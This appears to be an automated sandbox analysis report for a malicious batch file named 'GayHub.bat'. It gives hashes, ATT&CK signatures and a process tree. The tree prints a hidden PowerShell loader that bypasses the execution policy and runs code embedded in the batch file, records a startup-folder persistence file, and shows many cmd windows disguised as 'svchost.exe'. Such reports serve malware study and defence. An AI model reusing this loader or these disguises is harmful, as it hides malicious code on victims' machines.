c7242666e855b8cfca230e29d76bb9286630236456d73bbdc2f71bc24f3323bb

Analysis

max time kernel
150s
platform
windows11-ltsc_2024_x64
resource
win11ltsc2024-20260911-en
resource tags

arch:x64arch:x86image:win11ltsc2024-20260911-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
submitted
04/11/2026, 23:03

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
GayHub.bat
Size 6KB
Sample261104-2127jad12s
SHA256 c7242666e855b8cfca230e29d76bb9286630236456d73bbdc2f71bc24f3323bb
MD5 2645358b0112532fa81723398a81911d
SHA1 d511fdb9a2a58b2cd05b178d99576ef71dd44950
SHA512 4078e82965ee3edac90ad558dc0f635484181bddeac55f06a07781cff60d50dc0feb80b2c7eae8402ad2587381db018b6ecb61c993808e85a7c9606ce64d44f2
SSDEEP 192:8nWeo7eHro9l4fy3j85sVhdrYB4TpUEmnTbUYLcbKA21svfg8/n:8WToo6f6j85sDdUB4irTbURbKb14x/
TLSH
T160D1D91274546436C0F723F598AB9409FE0B90B780095EC4759E82D86F75BA8937AFDC
MD5 SHA1 SHA512 SSDEEP TLSH

Score

8^/10

defense_evasion discovery execution persistence privilege_escalation

Malware Config

Signatures

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
396	powershell.exe

Creates a file in the Startup directory 1 TTPs 1 IoCs

A file was written to a Windows startup folder. Files in these directories are executed automatically when a user logs on or an application initializes.

persistence privilege_escalation

Registry Run Keys / Startup Folder

T1547.001

description	ioc	Process
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\svc_d.vbs	cmd.exe

Executes a command shell one-liner 1 TTPs 51 IoCs

Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

execution

Windows Command Shell

T1059.003

pid	Process
4352	cmd.exe
5472	cmd.exe
2496	cmd.exe
548	cmd.exe
4784	cmd.exe
1936	cmd.exe
2872	cmd.exe
5868	cmd.exe
3552	cmd.exe
3712	cmd.exe
5028	cmd.exe
3212	cmd.exe
2004	cmd.exe
5676	cmd.exe
3484	cmd.exe
3704	cmd.exe
948	cmd.exe
2672	cmd.exe
2132	cmd.exe
4144	cmd.exe
4792	cmd.exe
1396	cmd.exe
4600	cmd.exe
4952	cmd.exe
5916	cmd.exe
4348	cmd.exe
844	cmd.exe
2956	cmd.exe
5536	cmd.exe
4180	cmd.exe
1276	cmd.exe
2320	cmd.exe
5776	cmd.exe
2584	cmd.exe
5248	cmd.exe
5680	cmd.exe
3256	cmd.exe
3184	cmd.exe
612	cmd.exe
1484	cmd.exe
3292	cmd.exe
5616	cmd.exe
3744	cmd.exe
4580	cmd.exe
5408	cmd.exe
2712	cmd.exe
5440	cmd.exe
3468	cmd.exe
5012	cmd.exe
5684	cmd.exe
5636	cmd.exe

System Network Configuration Discovery: Internet Connection Discovery 1 TTPs 64 IoCs

Adversaries may check for Internet connectivity on compromised systems.

discovery

Internet Connection Discovery

T1016.001

pid	Process
7380	PING.EXE
7564	PING.EXE
7152	PING.EXE
7176	PING.EXE
548	cmd.exe
8132	PING.EXE
7012	PING.EXE
7124	PING.EXE
7760	PING.EXE
6652	PING.EXE
7388	PING.EXE
5616	cmd.exe
7260	PING.EXE
7404	PING.EXE
7864	PING.EXE
8016	PING.EXE
7064	PING.EXE
2712	cmd.exe
3704	cmd.exe
7956	PING.EXE
6904	PING.EXE
6924	PING.EXE
6632	PING.EXE
2956	cmd.exe
5472	cmd.exe
464	PING.EXE
8004	PING.EXE
612	cmd.exe
8016	PING.EXE
7260	PING.EXE
7844	PING.EXE
5776	cmd.exe
3552	cmd.exe
7396	PING.EXE
7628	PING.EXE
7192	PING.EXE
8028	PING.EXE
7088	PING.EXE
7508	PING.EXE
4580	cmd.exe
7748	PING.EXE
7936	PING.EXE
3256	cmd.exe
7352	PING.EXE
7364	PING.EXE
4144	cmd.exe
7060	PING.EXE
7552	PING.EXE
6620	PING.EXE
7408	PING.EXE
5684	cmd.exe
7520	PING.EXE
6980	PING.EXE
3224	PING.EXE
7108	PING.EXE
4352	cmd.exe
5012	cmd.exe
7600	PING.EXE
7780	PING.EXE
6712	PING.EXE
2320	cmd.exe
5248	cmd.exe
4784	cmd.exe
7680	PING.EXE

Delays execution with timeout.exe 1 IoCs

defense_evasion

pid	Process
2996	timeout.exe

Runs ping.exe 1 TTPs 64 IoCs

Remote System Discovery

T1018

pid	Process
7520	PING.EXE
6948	PING.EXE
7292	PING.EXE
6632	PING.EXE
8128	PING.EXE
6540	PING.EXE
7916	PING.EXE
6976	PING.EXE
6948	PING.EXE
6240	PING.EXE
7780	PING.EXE
7884	PING.EXE
7236	PING.EXE
8132	PING.EXE
7376	PING.EXE
7368	PING.EXE
8152	PING.EXE
6840	PING.EXE
7816	PING.EXE
7140	PING.EXE
8168	PING.EXE
7380	PING.EXE
7364	PING.EXE
6980	PING.EXE
7096	PING.EXE
7208	PING.EXE
6584	PING.EXE
2756	PING.EXE
7944	PING.EXE
7340	PING.EXE
3300	PING.EXE
3224	PING.EXE
7828	PING.EXE
6588	PING.EXE
7260	PING.EXE
6664	PING.EXE
7540	PING.EXE
7924	PING.EXE
7128	PING.EXE
7348	PING.EXE
7220	PING.EXE
7756	PING.EXE
8084	PING.EXE
5312	PING.EXE
7680	PING.EXE
7760	PING.EXE
7816	PING.EXE
1560	PING.EXE
7972	PING.EXE
7300	PING.EXE
6652	PING.EXE
7092	PING.EXE
8152	PING.EXE
7408	PING.EXE
8124	PING.EXE
7684	PING.EXE
7972	PING.EXE
2692	PING.EXE
7744	PING.EXE
7852	PING.EXE
7564	PING.EXE
7468	PING.EXE
6896	PING.EXE
7392	PING.EXE

Suspicious behavior: EnumeratesProcesses 4 IoCs

pid	Process
396	powershell.exe
396	powershell.exe
396	powershell.exe
396	powershell.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	396	powershell.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 844 wrote to memory of 2996	844	cmd.exe	90
PID 844 wrote to memory of 396	844	cmd.exe	91
PID 844 wrote to memory of 1936	844	cmd.exe	92
PID 844 wrote to memory of 2132	844	cmd.exe	93
PID 844 wrote to memory of 4784	844	cmd.exe	94
PID 844 wrote to memory of 2672	844	cmd.exe	95
PID 844 wrote to memory of 4180	844	cmd.exe	96
PID 844 wrote to memory of 5636	844	cmd.exe	97
PID 844 wrote to memory of 5684	844	cmd.exe	98
PID 844 wrote to memory of 4144	844	cmd.exe	99
PID 844 wrote to memory of 4348	844	cmd.exe	100
PID 844 wrote to memory of 948	844	cmd.exe	101
PID 844 wrote to memory of 5916	844	cmd.exe	102
PID 844 wrote to memory of 3704	844	cmd.exe	103
PID 844 wrote to memory of 5012	844	cmd.exe	104
PID 844 wrote to memory of 2712	844	cmd.exe	105
PID 844 wrote to memory of 548	844	cmd.exe	106
PID 844 wrote to memory of 3484	844	cmd.exe	107
PID 844 wrote to memory of 5408	844	cmd.exe	108
PID 844 wrote to memory of 2004	844	cmd.exe	109
PID 844 wrote to memory of 3212	844	cmd.exe	110
PID 844 wrote to memory of 3468	844	cmd.exe	112
PID 844 wrote to memory of 4352	844	cmd.exe	114
PID 844 wrote to memory of 5440	844	cmd.exe	116
PID 844 wrote to memory of 2320	844	cmd.exe	118
PID 844 wrote to memory of 1276	844	cmd.exe	120
PID 844 wrote to memory of 5776	844	cmd.exe	121
PID 844 wrote to memory of 4580	844	cmd.exe	122
PID 844 wrote to memory of 4952	844	cmd.exe	123
PID 844 wrote to memory of 3744	844	cmd.exe	125
PID 844 wrote to memory of 5616	844	cmd.exe	127
PID 844 wrote to memory of 5028	844	cmd.exe	129
PID 844 wrote to memory of 3292	844	cmd.exe	131
PID 844 wrote to memory of 2496	844	cmd.exe	133
PID 844 wrote to memory of 4600	844	cmd.exe	134
PID 844 wrote to memory of 3712	844	cmd.exe	135
PID 844 wrote to memory of 1484	844	cmd.exe	136
PID 844 wrote to memory of 612	844	cmd.exe	138
PID 844 wrote to memory of 3184	844	cmd.exe	139
PID 844 wrote to memory of 3256	844	cmd.exe	140
PID 844 wrote to memory of 3552	844	cmd.exe	141
PID 844 wrote to memory of 5680	844	cmd.exe	142
PID 844 wrote to memory of 5536	844	cmd.exe	144
PID 844 wrote to memory of 5248	844	cmd.exe	145
PID 844 wrote to memory of 5676	844	cmd.exe	146
PID 844 wrote to memory of 1396	844	cmd.exe	147
PID 844 wrote to memory of 5472	844	cmd.exe	148
PID 844 wrote to memory of 5868	844	cmd.exe	149
PID 844 wrote to memory of 4792	844	cmd.exe	150
PID 844 wrote to memory of 2584	844	cmd.exe	151
PID 844 wrote to memory of 2872	844	cmd.exe	154
PID 844 wrote to memory of 2956	844	cmd.exe	155
PID 548 wrote to memory of 6172	548	cmd.exe	192
PID 5636 wrote to memory of 6576	5636	cmd.exe	193
PID 4144 wrote to memory of 6616	4144	cmd.exe	243
PID 5916 wrote to memory of 6608	5916	cmd.exe	195
PID 612 wrote to memory of 6636	612	cmd.exe	196
PID 3484 wrote to memory of 6644	3484	cmd.exe	314
PID 3468 wrote to memory of 6660	3468	cmd.exe	342
PID 1484 wrote to memory of 6628	1484	cmd.exe	199
PID 5676 wrote to memory of 6668	5676	cmd.exe	286
PID 3552 wrote to memory of 6816	3552	cmd.exe	201
PID 4348 wrote to memory of 6836	4348	cmd.exe	202
PID 2672 wrote to memory of 6848	2672	cmd.exe	231

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\GayHub.bat"
1⤵
- Creates a file in the Startup directory
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:844
- C:\Windows\system32\timeout.exe
  timeout /t 10 /nobreak
  2⤵
  - Delays execution with timeout.exe
  PID:2996
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -nop -ep bypass -w hidden -c "$s=Get-Content -LiteralPath 'C:\Users\Admin\AppData\Local\Temp\GayHub.bat' -Raw; iex $s.Substring($s.IndexOf('#PSSTART')+8)"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:396
- C:\Windows\system32\cmd.exe
  cmd /k "color 12 & mode con cols=64 lines=14 & title svchost.exe 1 & echo. & echo loading core module 1 of 1000 ... & ping -n 2 127.0.0.1 >nul & echo [OK] & echo binding port 23181 & ping -n 3 127.0.0.1 >nul & echo [OK] & echo syncing table 1 & ping -n 12 127.0.0.1 >nul & echo [OK] awaiting input & ping -n 45 127.0.0.1 >nul & echo still busy, do not close"
  2⤵
  - Executes a command shell one-liner
  PID:1936
- - C:\Windows\system32\mode.com
    mode con cols=64 lines=14
    3⤵
    PID:7056
- - C:\Windows\system32\PING.EXE
    ping -n 2 127.0.0.1
    3⤵
    PID:7484
- - C:\Windows\system32\PING.EXE
    ping -n 3 127.0.0.1
    3⤵
    PID:7264
- - C:\Windows\system32\PING.EXE
    ping -n 12 127.0.0.1
    3⤵
    - Runs ping.exe
    PID:7300
- - C:\Windows\system32\PING.EXE
    ping -n 45 127.0.0.1
    3⤵
    PID:7828
- C:\Windows\system32\cmd.exe
  cmd /k "color 15 & mode con cols=64 lines=14 & title svchost.exe 2 & echo. & echo loading core module 2 of 1000 ... & ping -n 2 127.0.0.1 >nul & echo [OK] & echo binding port 32853 & ping -n 3 127.0.0.1 >nul & echo [OK] & echo syncing table 2 & ping -n 12 127.0.0.1 >nul & echo [OK] awaiting input & ping -n 45 127.0.0.1 >nul & echo still busy, do not close"
  2⤵
  - Executes a command shell one-liner
  PID:2132
- - C:\Windows\system32\mode.com
    mode con cols=64 lines=14
    3⤵
    PID:6928
- - C:\Windows\system32\PING.EXE
    ping -n 2 127.0.0.1
    3⤵
    - System Network Configuration Discovery: Internet Connection Discovery
    PID:7600
- - C:\Windows\system32\PING.EXE
    ping -n 3 127.0.0.1
    3⤵
    - System Network Configuration Discovery: Internet Connection Discovery
    PID:6620
- - C:\Windows\system32\PING.EXE
    ping -n 12 127.0.0.1
    3⤵
    PID:7752
- - C:\Windows\system32\PING.EXE
    ping -n 45 127.0.0.1
    3⤵
    PID:8176
- C:\Windows\system32\cmd.exe
  cmd /k "color 15 & mode con cols=64 lines=14 & title svchost.exe 3 & echo. & echo loading core module 3 of 1000 ... & ping -n 2 127.0.0.1 >nul & echo [OK] & echo binding port 16083 & ping -n 3 127.0.0.1 >nul & echo [OK] & echo syncing table 3 & ping -n 12 127.0.0.1 >nul & echo [OK] awaiting input & ping -n 45 127.0.0.1 >nul & echo still busy, do not close"
  2⤵
  - Executes a command shell one-liner
  - System Network Configuration Discovery: Internet Connection Discovery
  PID:4784
- - C:\Windows\system32\mode.com
    mode con cols=64 lines=14
    3⤵
    PID:7004
- - C:\Windows\system32\PING.EXE
    ping -n 2 127.0.0.1
    3⤵
    PID:6620
- - C:\Windows\system32\PING.EXE
    ping -n 3 127.0.0.1
    3⤵
    PID:6872
- - C:\Windows\system32\PING.EXE
    ping -n 12 127.0.0.1
    3⤵
    - System Network Configuration Discovery: Internet Connection Discovery
    PID:7088
- - C:\Windows\system32\PING.EXE
    ping -n 45 127.0.0.1
    3⤵
    - System Network Configuration Discovery: Internet Connection Discovery
    PID:8016
- C:\Windows\system32\cmd.exe
  cmd /k "color 6 & mode con cols=64 lines=14 & title svchost.exe 4 & echo. & echo loading core module 4 of 1000 ... & ping -n 2 127.0.0.1 >nul & echo [OK] & echo binding port 30651 & ping -n 3 127.0.0.1 >nul & echo [OK] & echo syncing table 4 & ping -n 12 127.0.0.1 >nul & echo [OK] awaiting input & ping -n 45 127.0.0.1 >nul & echo still busy, do not close"
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:2672
- - C:\Windows\system32\mode.com
    mode con cols=64 lines=14
    3⤵
    PID:6848
- - C:\Windows\system32\PING.EXE
    ping -n 2 127.0.0.1
    3⤵
    - Runs ping.exe
    PID:6540
- - C:\Windows\system32\PING.EXE
    ping -n 3 127.0.0.1
    3⤵
    - System Network Configuration Discovery: Internet Connection Discovery
    PID:7748
- - C:\Windows\system32\PING.EXE
    ping -n 12 127.0.0.1
    3⤵
    PID:8180
- - C:\Windows\system32\PING.EXE
    ping -n 45 127.0.0.1
    3⤵
    PID:7680
- C:\Windows\system32\cmd.exe
  cmd /k "color 1 & mode con cols=64 lines=14 & title svchost.exe 5 & echo. & echo loading core module 5 of 1000 ... & ping -n 2 127.0.0.1 >nul & echo [OK] & echo binding port 16060 & ping -n 3 127.0.0.1 >nul & echo [OK] & echo syncing table 5 & ping -n 12 127.0.0.1 >nul & echo [OK] awaiting input & ping -n 45 127.0.0.1 >nul & echo still busy, do not close"
  2⤵
  - Executes a command shell one-liner
  PID:4180
- - C:\Windows\system32\mode.com
    mode con cols=64 lines=14
    3⤵
    PID:7064
- - C:\Windows\system32\PING.EXE
    ping -n 2 127.0.0.1
    3⤵
    - Runs ping.exe
    PID:7816
- - C:\Windows\system32\PING.EXE
    ping -n 3 127.0.0.1
    3⤵
    - Runs ping.exe
    PID:7368
- - C:\Windows\system32\PING.EXE
    ping -n 12 127.0.0.1
    3⤵
    PID:7108
- - C:\Windows\system32\PING.EXE
    ping -n 45 127.0.0.1
    3⤵
    PID:6996
- C:\Windows\system32\cmd.exe
  cmd /k "color 3 & mode con cols=64 lines=14 & title svchost.exe 6 & echo. & echo loading core module 6 of 1000 ... & ping -n 2 127.0.0.1 >nul & echo [OK] & echo binding port 11255 & ping -n 3 127.0.0.1 >nul & echo [OK] & echo syncing table 6 & ping -n 12 127.0.0.1 >nul & echo [OK] awaiting input & ping -n 45 127.0.0.1 >nul & echo still busy, do not close"
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:5636
- - C:\Windows\system32\mode.com
    mode con cols=64 lines=14
    3⤵
    PID:6576
- - C:\Windows\system32\PING.EXE
    ping -n 2 127.0.0.1
    3⤵
    PID:7504
- - C:\Windows\system32\PING.EXE
    ping -n 3 127.0.0.1
    3⤵
    - Runs ping.exe
    PID:7340
- - C:\Windows\system32\PING.EXE
    ping -n 12 127.0.0.1
    3⤵
    PID:6796
- - C:\Windows\system32\PING.EXE
    ping -n 45 127.0.0.1
    3⤵
    PID:8008
- C:\Windows\system32\cmd.exe
  cmd /k "color 8 & mode con cols=64 lines=14 & title svchost.exe 7 & echo. & echo loading core module 7 of 1000 ... & ping -n 2 127.0.0.1 >nul & echo [OK] & echo binding port 22295 & ping -n 3 127.0.0.1 >nul & echo [OK] & echo syncing table 7 & ping -n 12 127.0.0.1 >nul & echo [OK] awaiting input & ping -n 45 127.0.0.1 >nul & echo still busy, do not close"
  2⤵
  - Executes a command shell one-liner
  - System Network Configuration Discovery: Internet Connection Discovery
  PID:5684
- - C:\Windows\system32\mode.com
    mode con cols=64 lines=14
    3⤵
    PID:7072
- - C:\Windows\system32\PING.EXE
    ping -n 2 127.0.0.1
    3⤵
    - Runs ping.exe
    PID:7540
- - C:\Windows\system32\PING.EXE
    ping -n 3 127.0.0.1
    3⤵
    - System Network Configuration Discovery: Internet Connection Discovery
    PID:7352
- - C:\Windows\system32\PING.EXE
    ping -n 12 127.0.0.1
    3⤵
    - System Network Configuration Discovery: Internet Connection Discovery
    PID:7176
- - C:\Windows\system32\PING.EXE
    ping -n 45 127.0.0.1
    3⤵
    - Runs ping.exe
    PID:7972
- C:\Windows\system32\cmd.exe
  cmd /k "color 6 & mode con cols=64 lines=14 & title svchost.exe 8 & echo. & echo loading core module 8 of 1000 ... & ping -n 2 127.0.0.1 >nul & echo [OK] & echo binding port 26727 & ping -n 3 127.0.0.1 >nul & echo [OK] & echo syncing table 8 & ping -n 12 127.0.0.1 >nul & echo [OK] awaiting input & ping -n 45 127.0.0.1 >nul & echo still busy, do not close"
  2⤵
  - Executes a command shell one-liner
  - System Network Configuration Discovery: Internet Connection Discovery
  - Suspicious use of WriteProcessMemory
  PID:4144
- - C:\Windows\system32\mode.com
    mode con cols=64 lines=14
    3⤵
    PID:6616
- - C:\Windows\system32\PING.EXE
    ping -n 2 127.0.0.1
    3⤵
    - System Network Configuration Discovery: Internet Connection Discovery
    PID:7060
- - C:\Windows\system32\PING.EXE
    ping -n 3 127.0.0.1
    3⤵
    PID:8168
- - C:\Windows\system32\PING.EXE
    ping -n 12 127.0.0.1
    3⤵
    PID:6868
- - C:\Windows\system32\PING.EXE
    ping -n 45 127.0.0.1
    3⤵
    - Runs ping.exe
    PID:7816
- C:\Windows\system32\cmd.exe
  cmd /k "color 5 & mode con cols=64 lines=14 & title svchost.exe 9 & echo. & echo loading core module 9 of 1000 ... & ping -n 2 127.0.0.1 >nul & echo [OK] & echo binding port 22359 & ping -n 3 127.0.0.1 >nul & echo [OK] & echo syncing table 9 & ping -n 12 127.0.0.1 >nul & echo [OK] awaiting input & ping -n 45 127.0.0.1 >nul & echo still busy, do not close"
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:4348
- - C:\Windows\system32\mode.com
    mode con cols=64 lines=14
    3⤵
    PID:6836
- - C:\Windows\system32\PING.EXE
    ping -n 2 127.0.0.1
    3⤵
    PID:6584
- - C:\Windows\system32\PING.EXE
    ping -n 3 127.0.0.1
    3⤵
    PID:7808
- - C:\Windows\system32\PING.EXE
    ping -n 12 127.0.0.1
    3⤵
    - Runs ping.exe
    PID:8152
- - C:\Windows\system32\PING.EXE
    ping -n 45 127.0.0.1
    3⤵
    PID:8120
- C:\Windows\system32\cmd.exe
  cmd /k "color 4 & mode con cols=64 lines=14 & title svchost.exe 10 & echo. & echo loading core module 10 of 1000 ... & ping -n 2 127.0.0.1 >nul & echo [OK] & echo binding port 27204 & ping -n 3 127.0.0.1 >nul & echo [OK] & echo syncing table 10 & ping -n 12 127.0.0.1 >nul & echo [OK] awaiting input & ping -n 45 127.0.0.1 >nul & echo still busy, do not close"
  2⤵
  - Executes a command shell one-liner
  PID:948
- - C:\Windows\system32\mode.com
    mode con cols=64 lines=14
    3⤵
    PID:7172
- - C:\Windows\system32\PING.EXE
    ping -n 2 127.0.0.1
    3⤵
    PID:6668
- - C:\Windows\system32\PING.EXE
    ping -n 3 127.0.0.1
    3⤵
    - System Network Configuration Discovery: Internet Connection Discovery
    PID:7864
- - C:\Windows\system32\PING.EXE
    ping -n 12 127.0.0.1
    3⤵
    PID:7488
- - C:\Windows\system32\PING.EXE
    ping -n 45 127.0.0.1
    3⤵
    PID:7148
- C:\Windows\system32\cmd.exe
  cmd /k "color 6 & mode con cols=64 lines=14 & title svchost.exe 11 & echo. & echo loading core module 11 of 1000 ... & ping -n 2 127.0.0.1 >nul & echo [OK] & echo binding port 27019 & ping -n 3 127.0.0.1 >nul & echo [OK] & echo syncing table 11 & ping -n 12 127.0.0.1 >nul & echo [OK] awaiting input & ping -n 45 127.0.0.1 >nul & echo still busy, do not close"
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:5916
- - C:\Windows\system32\mode.com
    mode con cols=64 lines=14
    3⤵
    PID:6608
- - C:\Windows\system32\PING.EXE
    ping -n 2 127.0.0.1
    3⤵
    - Runs ping.exe
    PID:7364
- - C:\Windows\system32\PING.EXE
    ping -n 3 127.0.0.1
    3⤵
    - Runs ping.exe
    PID:1560
- - C:\Windows\system32\PING.EXE
    ping -n 12 127.0.0.1
    3⤵
    - Runs ping.exe
    PID:7260
- - C:\Windows\system32\PING.EXE
    ping -n 45 127.0.0.1
    3⤵
    PID:7756
- C:\Windows\system32\cmd.exe
  cmd /k "color 3 & mode con cols=64 lines=14 & title svchost.exe 12 & echo. & echo loading core module 12 of 1000 ... & ping -n 2 127.0.0.1 >nul & echo [OK] & echo binding port 18479 & ping -n 3 127.0.0.1 >nul & echo [OK] & echo syncing table 12 & ping -n 12 127.0.0.1 >nul & echo [OK] awaiting input & ping -n 45 127.0.0.1 >nul & echo still busy, do not close"
  2⤵
  - Executes a command shell one-liner
  - System Network Configuration Discovery: Internet Connection Discovery
  PID:3704
- - C:\Windows\system32\mode.com
    mode con cols=64 lines=14
    3⤵
    PID:6136
- - C:\Windows\system32\PING.EXE
    ping -n 2 127.0.0.1
    3⤵
    - Runs ping.exe
    PID:7916
- - C:\Windows\system32\PING.EXE
    ping -n 3 127.0.0.1
    3⤵
    PID:7476
- - C:\Windows\system32\PING.EXE
    ping -n 12 127.0.0.1
    3⤵
    - Runs ping.exe
    PID:6896
- - C:\Windows\system32\PING.EXE
    ping -n 45 127.0.0.1
    3⤵
    PID:7012
- C:\Windows\system32\cmd.exe
  cmd /k "color 13 & mode con cols=64 lines=14 & title svchost.exe 13 & echo. & echo loading core module 13 of 1000 ... & ping -n 2 127.0.0.1 >nul & echo [OK] & echo binding port 22161 & ping -n 3 127.0.0.1 >nul & echo [OK] & echo syncing table 13 & ping -n 12 127.0.0.1 >nul & echo [OK] awaiting input & ping -n 45 127.0.0.1 >nul & echo still busy, do not close"
  2⤵
  - Executes a command shell one-liner
  - System Network Configuration Discovery: Internet Connection Discovery
  PID:5012
- - C:\Windows\system32\mode.com
    mode con cols=64 lines=14
    3⤵
    PID:7140
- - C:\Windows\system32\PING.EXE
    ping -n 2 127.0.0.1
    3⤵
    - Runs ping.exe
    PID:7828
- - C:\Windows\system32\PING.EXE
    ping -n 3 127.0.0.1
    3⤵
    - System Network Configuration Discovery: Internet Connection Discovery
    PID:7404
- - C:\Windows\system32\PING.EXE
    ping -n 12 127.0.0.1
    3⤵
    - Runs ping.exe
    PID:7884
- - C:\Windows\system32\PING.EXE
    ping -n 45 127.0.0.1
    3⤵
    PID:3892
- C:\Windows\system32\cmd.exe
  cmd /k "color 14 & mode con cols=64 lines=14 & title svchost.exe 14 & echo. & echo loading core module 14 of 1000 ... & ping -n 2 127.0.0.1 >nul & echo [OK] & echo binding port 30733 & ping -n 3 127.0.0.1 >nul & echo [OK] & echo syncing table 14 & ping -n 12 127.0.0.1 >nul & echo [OK] awaiting input & ping -n 45 127.0.0.1 >nul & echo still busy, do not close"
  2⤵
  - Executes a command shell one-liner
  - System Network Configuration Discovery: Internet Connection Discovery
  PID:2712
- - C:\Windows\system32\mode.com
    mode con cols=64 lines=14
    3⤵
    PID:6944
- - C:\Windows\system32\PING.EXE
    ping -n 2 127.0.0.1
    3⤵
    PID:7636
- - C:\Windows\system32\PING.EXE
    ping -n 3 127.0.0.1
    3⤵
    PID:6968
- - C:\Windows\system32\PING.EXE
    ping -n 12 127.0.0.1
    3⤵
    - System Network Configuration Discovery: Internet Connection Discovery
    - Runs ping.exe
    PID:6652
- - C:\Windows\system32\PING.EXE
    ping -n 45 127.0.0.1
    3⤵
    PID:2292
- C:\Windows\system32\cmd.exe
  cmd /k "color 6 & mode con cols=64 lines=14 & title svchost.exe 15 & echo. & echo loading core module 15 of 1000 ... & ping -n 2 127.0.0.1 >nul & echo [OK] & echo binding port 23174 & ping -n 3 127.0.0.1 >nul & echo [OK] & echo syncing table 15 & ping -n 12 127.0.0.1 >nul & echo [OK] awaiting input & ping -n 45 127.0.0.1 >nul & echo still busy, do not close"
  2⤵
  - Executes a command shell one-liner
  - System Network Configuration Discovery: Internet Connection Discovery
  - Suspicious use of WriteProcessMemory
  PID:548
- - C:\Windows\system32\mode.com
    mode con cols=64 lines=14
    3⤵
    PID:6172
- - C:\Windows\system32\PING.EXE
    ping -n 2 127.0.0.1
    3⤵
    PID:7252
- - C:\Windows\system32\PING.EXE
    ping -n 3 127.0.0.1
    3⤵
    - Runs ping.exe
    PID:6976
- - C:\Windows\system32\PING.EXE
    ping -n 12 127.0.0.1
    3⤵
    - Runs ping.exe
    PID:6840
- - C:\Windows\system32\PING.EXE
    ping -n 45 127.0.0.1
    3⤵
    - Runs ping.exe
    PID:7684
- C:\Windows\system32\cmd.exe
  cmd /k "color 13 & mode con cols=64 lines=14 & title svchost.exe 16 & echo. & echo loading core module 16 of 1000 ... & ping -n 2 127.0.0.1 >nul & echo [OK] & echo binding port 26389 & ping -n 3 127.0.0.1 >nul & echo [OK] & echo syncing table 16 & ping -n 12 127.0.0.1 >nul & echo [OK] awaiting input & ping -n 45 127.0.0.1 >nul & echo still busy, do not close"
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:3484
- - C:\Windows\system32\mode.com
    mode con cols=64 lines=14
    3⤵
    PID:6644
- - C:\Windows\system32\PING.EXE
    ping -n 2 127.0.0.1
    3⤵
    PID:7108
- - C:\Windows\system32\PING.EXE
    ping -n 3 127.0.0.1
    3⤵
    PID:7740
- - C:\Windows\system32\PING.EXE
    ping -n 12 127.0.0.1
    3⤵
    - System Network Configuration Discovery: Internet Connection Discovery
    PID:6924
- - C:\Windows\system32\PING.EXE
    ping -n 45 127.0.0.1
    3⤵
    - System Network Configuration Discovery: Internet Connection Discovery
    PID:8004
- C:\Windows\system32\cmd.exe
  cmd /k "color 13 & mode con cols=64 lines=14 & title svchost.exe 17 & echo. & echo loading core module 17 of 1000 ... & ping -n 2 127.0.0.1 >nul & echo [OK] & echo binding port 7552 & ping -n 3 127.0.0.1 >nul & echo [OK] & echo syncing table 17 & ping -n 12 127.0.0.1 >nul & echo [OK] awaiting input & ping -n 45 127.0.0.1 >nul & echo still busy, do not close"
  2⤵
  - Executes a command shell one-liner
  PID:5408
- - C:\Windows\system32\mode.com
    mode con cols=64 lines=14
    3⤵
    PID:6176
- - C:\Windows\system32\PING.EXE
    ping -n 2 127.0.0.1
    3⤵
    - System Network Configuration Discovery: Internet Connection Discovery
    PID:7012
- - C:\Windows\system32\PING.EXE
    ping -n 3 127.0.0.1
    3⤵
    PID:8064
- - C:\Windows\system32\PING.EXE
    ping -n 12 127.0.0.1
    3⤵
    PID:7380
- - C:\Windows\system32\PING.EXE
    ping -n 45 127.0.0.1
    3⤵
    - System Network Configuration Discovery: Internet Connection Discovery
    PID:7108
- C:\Windows\system32\cmd.exe
  cmd /k "color 2 & mode con cols=64 lines=14 & title svchost.exe 18 & echo. & echo loading core module 18 of 1000 ... & ping -n 2 127.0.0.1 >nul & echo [OK] & echo binding port 22567 & ping -n 3 127.0.0.1 >nul & echo [OK] & echo syncing table 18 & ping -n 12 127.0.0.1 >nul & echo [OK] awaiting input & ping -n 45 127.0.0.1 >nul & echo still busy, do not close"
  2⤵
  - Executes a command shell one-liner
  PID:2004
- - C:\Windows\system32\mode.com
    mode con cols=64 lines=14
    3⤵
    PID:6888
- - C:\Windows\system32\PING.EXE
    ping -n 2 127.0.0.1
    3⤵
    PID:7628
- - C:\Windows\system32\PING.EXE
    ping -n 3 127.0.0.1
    3⤵
    PID:7212
- - C:\Windows\system32\PING.EXE
    ping -n 12 127.0.0.1
    3⤵
    PID:7760
- - C:\Windows\system32\PING.EXE
    ping -n 45 127.0.0.1
    3⤵
    PID:8164
- C:\Windows\system32\cmd.exe
  cmd /k "color 9 & mode con cols=64 lines=14 & title svchost.exe 19 & echo. & echo loading core module 19 of 1000 ... & ping -n 2 127.0.0.1 >nul & echo [OK] & echo binding port 9344 & ping -n 3 127.0.0.1 >nul & echo [OK] & echo syncing table 19 & ping -n 12 127.0.0.1 >nul & echo [OK] awaiting input & ping -n 45 127.0.0.1 >nul & echo still busy, do not close"
  2⤵
  - Executes a command shell one-liner
  PID:3212
- - C:\Windows\system32\mode.com
    mode con cols=64 lines=14
    3⤵
    PID:7004
- - C:\Windows\system32\PING.EXE
    ping -n 2 127.0.0.1
    3⤵
    - Runs ping.exe
    PID:7096
- - C:\Windows\system32\PING.EXE
    ping -n 3 127.0.0.1
    3⤵
    PID:7816
